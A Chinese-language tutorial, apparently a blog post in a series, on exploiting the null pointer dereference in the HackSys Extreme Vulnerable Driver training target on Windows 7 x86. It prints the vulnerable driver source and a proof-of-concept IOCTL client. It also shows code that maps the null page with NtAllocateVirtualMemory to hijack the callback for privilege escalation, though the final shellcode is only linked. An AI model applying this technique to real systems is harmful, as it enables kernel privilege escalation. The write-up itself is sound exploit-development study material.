[08] HEVD 内核漏洞之空指针解引用

0x00 前言

上一篇我们学习了任意内存覆盖漏洞,这一节开始学习空指针解引用(NullPointerDereference)。

tips:前几天看的19-1132中也涉及到了这一漏洞,感兴趣的可以研究一哈。

1
tips:题外话,学海无涯呀,其实有时感觉是挺无聊的,继续坚持!

实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1

实验工具:VS2015+Windbg+KmdManager+DbgViewer

0x01漏洞原理

打开驱动程序代码NullPointerDereference.c,看到漏洞函数代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
NTSTATUS
TriggerNullPointerDereference(
_In_ PVOID UserBuffer
)
{
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
PAGED_CODE();
__try
{
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));

// Allocate Pool chunk
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG
);

if (!NullPointerDereference)
{
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");

Status = STATUS_NO_MEMORY;
return Status;
}
else
{
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
}

// Get the value from user mode
UserValue = *(PULONG)UserBuffer;

DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

// Validate the magic value
if (UserValue == MagicValue)
{
NullPointerDereference->Value = UserValue;
NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else
{
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

// Set to NULL to avoid dangling pointer
NullPointerDereference = NULL;
}

#ifdef SECURE
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
if (NullPointerDereference)
{
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");

// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
NullPointerDereference->Callback();
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

代码中,有一处关于MagicValue的检查,通过则向缓冲区赋值,并打印;反之则释放缓冲区,清空指针。再往后,存在漏洞的版本中,未对NullPointerDereference进行检查判断其是否提前被置空,直接调用其内部的回调。

IDA中查看该函数:

img

img

如果我们调用了TriggerNullPointerDereference函数并传入该魔数,理论上会执行到该函数且不会触发空指针引用。使用下面的POC来进行测试。

利用之前的方法,我们得到IO控制码0x22202b。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<stdio.h>
#include<Windows.h>



int main()
{
HANDLE hDevice = NULL;

hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return -1;
}
printf("[+]Success to get HANDLE!\n");


DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0;

DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL);
return 0;
}

img

验证了代码逻辑是正确的。

当我们传入值与MagicValue值不匹配时,则会触发漏洞。

img

img

img

例如我们传入0xdeadb33f,为了防止BSOD我们看不到数据,加上一个断点。

1
2
3
4
5
*(PDWORD32)(buf) = 0xdeadb33f;
DeviceIoControl(hDevice, 0x22202b, buf, 4, NULL, 0, &bReturn, NULL);
_asm{
int 3
}

img

明显的,触发了空指针引用。

0x02漏洞利用

这里需要注意的是,如何在0页分配一个双字的空间。在rohitab的论坛中,提到了NtAllocateVirtualMemory可以在0页分配内存。

Windows允许低权限用户去映射用户进程的上下文到0页(null page)。尽管VirtualAlloc和VirtualAllocEx在分配的基地址低于0x00001000时都以拒绝访问而告终。然而,利用NtAllocateVirtualMemory函数则没有这样的限制。

Common.c代码中,我们看到MapNullPage函数也是这样的思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
hNtdll = GetModuleHandle("ntdll.dll");

// Grab the address of NtAllocateVirtualMemory
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

if (!NtAllocateVirtualMemory) {
DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

// Allocate the Virtual memory
NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
&BaseAddress,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);

申请成功后,将shellcode地址放入偏移四字节处,因为CallBack成员在结构体的0x4字节处。

1
2
3
4
5
typedef struct _NULL_POINTER_DEREFERENCE
{
ULONG Value;
FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

那么整理一下思路:

  • 将shellcode放入内存任意位置
  • 申请0页内存并在0x4地址放入shellcode地址
  • 调用TriggerNullPointerDereference函数
  • 提权启动cmd

最后利用代码参考这里

提权成功:

img

0x03 链接

Rootkit:https://rootkits.xyz/blog/2018/01/kernel-null-pointer-dereference/

fuzzsecurity:http://fuzzysecurity.com/tutorials/expDev/16.html

玉涵师傅翻译版:https://bbs.pediy.com/thread-225178.htm

TJ学习版:https://bbs.pediy.com/thread-252776.htm